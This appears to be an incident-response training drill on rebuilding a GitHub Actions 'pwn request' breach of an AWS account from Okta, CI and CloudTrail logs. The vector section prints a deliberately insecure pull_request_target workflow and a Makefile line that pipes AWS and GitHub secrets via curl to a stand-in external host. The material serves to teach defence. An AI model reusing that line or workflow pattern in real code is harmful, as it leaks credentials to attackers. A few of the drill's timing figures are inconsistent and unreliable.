Drill — Reconstruct an Incident Timeline

It's 16:42 UTC. GuardDuty just paged you with a privilege-escalation finding on an IAM user nobody remembers creating. You didn't watch this happen — you're arriving after the fact, with three raw exports somebody already pulled: an identity provider's sign-in log, a CI pipeline's run log, and the AWS CloudTrail history for the account. None of the three was built to be read together, none of them share a clock, and one of them contains an event that looks exactly like the smoking gun and isn't. This page is one scenario, worked start to finish: normalize the timestamps, reconstruct the true order of events across all three sources, name the actual initial access vector, and write the single paragraph a real postmortem would need. Time box: 30 minutes, start to a timeline you'd actually be willing to put your name on.

The page you're paged with: a finding, and three exports that don't share a clock

☺ Like you're 10: You don't get a movie of what happened — you get three separate diaries, each written by someone who wasn't watching the other two.

The company is Meridian Analytics. The repository is meridian-analytics/data-pipeline, a public GitHub repo that accepts community pull requests against its export tooling. At 16:41:52 UTC, Amazon GuardDuty raised a PrivilegeEscalation:IAMUser/AdministrativePermissions finding — an API commonly used to grant administrator access was just invoked by an identity nobody on the platform team recognizes — and paged the on-call engineer. That's the moment you're dropped into. You've been handed three exports, pulled by whoever triaged the page before you: the identity provider's sign-in log, the CI pipeline's run log for the workflow that built the most recent pull request, and the AWS CloudTrail history for the account, covering the hour around the finding. Your job isn't to stop anything — containment already happened before this drill starts. Your job is to read what's in front of you correctly.

Exhibit A — the identity provider's sign-in log

☺ Like you're 10: This diary only knows about people logging in — it has no idea a pull request or an API call even exists.

Pulled from Okta's System Log for the four hours around the finding. Timestamps as the admin console displays them: local account time, America/Los_Angeles.

2026-08-15 08:58:03 PDT  user.authentication.sso  actor=priya.chandran@meridiananalytics.io
    outcome=SUCCESS  client_ip=98.14.201.6  device=known (MacBook-PCH14)  location=San Jose, CA, US

2026-08-15 09:14:22 PDT  user.authentication.sso  actor=priya.chandran@meridiananalytics.io
    outcome=SUCCESS  client_ip=185.213.66.9  device=new (unrecognized)  location=Lisbon, PT  mfa=push_approved

2026-08-15 09:16:47 PDT  user.session.start  actor=priya.chandran@meridiananalytics.io  app=Google Workspace

2026-08-15 10:02:11 PDT  user.authentication.sso  actor=marcus.oyelaran@meridiananalytics.io
    outcome=SUCCESS  client_ip=71.198.4.201  device=known  location=Austin, TX, US

Exhibit B — the CI pipeline run log

☺ Like you're 10: This diary knows exactly what the build server did, step by step — but has never heard of AWS or Okta.

The condensed run log for workflow run #1904, .github/workflows/build-and-test.yml, triggered against the most recent open pull request.

2026-08-15T16:07:12Z  pull_request_target opened: PR #482 "fix: correct off-by-one in export
    windowing" by @quinn-devtools (first-time contributor — 0 prior commits to this repo)
2026-08-15T16:07:45Z  Workflow run #1904 queued — build-and-test.yml, trigger: pull_request_target
2026-08-15T16:07:51Z  Job "test" started on ubuntu-latest (GitHub-hosted runner)
2026-08-15T16:08:03Z  Step "Check out PR head" — actions/checkout@v4, ref: ${{ github.event.pull_request.head.sha }}
2026-08-15T16:08:04Z  ##[group]Run make test
2026-08-15T16:09:51Z  Step "Run integration tests" completed — make test, exit code 0
2026-08-15T16:10:14Z  Job "test" completed — conclusion: success
2026-08-15T16:10:15Z  Status check "test" reported SUCCESS on PR #482

Exhibit C — the cloud audit trail

☺ Like you're 10: This diary knows every single thing anyone with a key asked AWS to do — but has no idea who those people actually are.

Condensed AWS CloudTrail events for the account, filtered to the hour around the finding.

{"eventTime":"2026-08-15T16:19:47Z","eventName":"GetCallerIdentity","eventSource":"sts.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"ci-deploy-bot"},"sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:21:03Z","eventName":"CreateUser","eventSource":"iam.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"ci-deploy-bot"},
 "requestParameters":{"userName":"svc-pipeline-cache"},"sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:21:09Z","eventName":"CreateAccessKey","eventSource":"iam.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"ci-deploy-bot"},
 "requestParameters":{"userName":"svc-pipeline-cache"},"sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:21:16Z","eventName":"AttachUserPolicy","eventSource":"iam.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"ci-deploy-bot"},
 "requestParameters":{"userName":"svc-pipeline-cache","policyArn":"arn:aws:iam::aws:policy/AdministratorAccess"},
 "sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:24:38Z","eventName":"ListBuckets","eventSource":"s3.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"svc-pipeline-cache"},"sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:25:02Z","eventName":"GetObject","eventSource":"s3.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"svc-pipeline-cache"},
 "requestParameters":{"bucketName":"meridian-customer-exports","key":"2026/08/orders_2026-08-14.csv.gz"},
 "sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:25:04Z","eventName":"GetObject","eventSource":"s3.amazonaws.com",
 "userIdentity":{"type":"IAMUser","userName":"svc-pipeline-cache"},
 "requestParameters":{"bucketName":"meridian-customer-exports","key":"2026/08/orders_2026-08-13.csv.gz"},
 "sourceIPAddress":"146.70.104.18"}

{"eventTime":"2026-08-15T16:41:52Z","eventName":"GuardDuty Finding","eventSource":"guardduty.amazonaws.com",
 "type":"PrivilegeEscalation:IAMUser/AdministrativePermissions","severity":"HIGH",
 "description":"APIs commonly used to attach an administrator policy were invoked by svc-pipeline-cache,
 an identity created 13 minutes earlier by ci-deploy-bot."}

Normalize the clocks before you trust the order

☺ Like you're 10: Until every watch says the same thing, you can't tell whether one event happened before another or you're just reading them in the order they were handed to you.

Convert Exhibit A to UTC first, since it's the only one not already there: PDT is UTC-7 in August, so 09:14:22 PDT becomes 16:14:22 UTC, and the rest of that exhibit shifts the same seven hours. Once all three exhibits share a clock, interleave every event by timestamp, regardless of which exhibit it came from. Do that correctly and one entry lands in the middle of the real chain even though nothing in the rest of the evidence ever refers back to it:

The workflow config: where the vector actually was

☺ Like you're 10: Letting a stranger's homework run on your computer while your own passwords are sitting in the room is the mistake — not anything the stranger did afterward.

The chain in the schematic starts at ci-deploy-bot, and that identity's key only left the building because of how build-and-test.yml was wired:

# .github/workflows/build-and-test.yml — the trigger that made this possible
on:
  pull_request_target:        # runs with the BASE repo's secrets, even for a fork's PR
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.CI_DEPLOY_AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.CI_DEPLOY_AWS_SECRET_ACCESS_KEY }}
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # checks out the PR's OWN, untrusted code
      - run: make test                                       # runs that code, with the secrets already in env

pull_request_target exists precisely so a workflow can safely comment on or label a fork's pull request using the base repo's secrets, on the assumption that the workflow itself keeps running trusted code — the base branch's own .yml file, not anything the fork controls. This workflow broke that assumption in one line: checking out github.event.pull_request.head.sha replaces the trusted code with the fork's own commit before make test ever runs. The security community calls this pattern a pwn request, and PR #482's Makefile used it exactly as designed:

# Makefile — from PR #482, buried inside a target that still looks like it just runs pytest
test:
	@pip install -q -r requirements.txt
	@env | grep -E 'AWS_|GITHUB_' | curl -s -X POST https://telemetry-relay.example/collect --data-binary @- >/dev/null 2>&1
	@pytest -q

One line reads every AWS_ and GITHUB_ environment variable already injected into the job and POSTs it to an external host, redirected so it produces no visible output; the next line runs the real test suite, which passes cleanly, so the status check goes green and nobody looks twice. That's the whole vector — not a leaked secret sitting in a scan somewhere, but a live one handed straight to an attacker's own code, by design of the trigger, in under thirteen minutes from PR open to a stolen key answering GetCallerIdentity from outside GitHub's infrastructure.

What a postmortem's one paragraph actually needs

☺ Like you're 10: A good summary isn't just "what happened" in order — it also has to say what you checked and ruled out, not just what you confirmed.

Before you look at the answer key, write your own paragraph. A timeline a postmortem can actually use, not just a list of timestamps, needs five things in it:

• The initial access vector, named explicitly and early — not implied, not buried at the end.
• The causal chain in true chronological order: what identity did what, to what, and when — across all three sources, normalized to one clock.
• The blast radius — what was actually touched or exfiltrated, stated concretely (which bucket, which objects, how many).
• The detection method and dwell time — how the team found out, and how long the attacker had before that happened.
• What you investigated and ruled out — the Lisbon login doesn't disappear from a good postmortem just because it turned out to be nothing; it appears once, explicitly cleared, so the next reader doesn't have to re-ask the same question.

At 16:07 UTC on 15 August 2026, an external, first-time contributor opened pull request #482
against meridian-analytics/data-pipeline. Because the repository's build-and-test.yml workflow
triggered on pull_request_target and checked out the pull request's own head commit, the PR's
Makefile ran with the base repository's secrets already present in the job environment, and its
`test` target exfiltrated the ci-deploy-bot AWS access key to an external host at 16:09 UTC while
the job itself still reported a passing test run. That stolen key was first used from outside
GitHub's infrastructure at 16:19 UTC to call sts:GetCallerIdentity; over the following six minutes
the attacker created a new IAM user, svc-pipeline-cache, issued it an access key, and attached
AdministratorAccess to it, then used that new identity to list and read objects from the
meridian-customer-exports S3 bucket between 16:24 and 16:25 UTC, retrieving two days of order
export files. GuardDuty's PrivilegeEscalation:IAMUser/AdministrativePermissions finding fired at
16:41 UTC — 32 minutes after the credential was first stolen and 17 minutes after the S3 access
completed — and paged the on-call engineer. A separate employee's SSO login from Lisbon at 16:14
UTC fell inside this window and was investigated; it was confirmed as approved business travel,
and no cloud audit trail activity is tied to that identity before or after. The initial access
vector was the pull_request_target-triggered CI workflow, not a compromised user credential.

Same shape every time a scattered-log incident like this lands on you for real: normalize the clocks first, build the causal chain from the source that actually shows the attacker's identity acting, and clear — don't discard — anything that only looks connected. For the fuller PICERL lifecycle this drill sits inside, see incident response & forensics. For the CI/CD trigger pattern that created the vector, see security in CI/CD and workload identity & pipeline IAM — the version of this incident where there's no long-lived key to steal in the first place. For the detection side of the 34-minute dwell time, see detection engineering & security observability and zero trust for pipelines. Previous drill: Leaked Credential Triage, for when a scan catches the same class of exposure before an attacker does. Next drill: Threat Model a New Feature, for finding a gap like this one before it ever ships.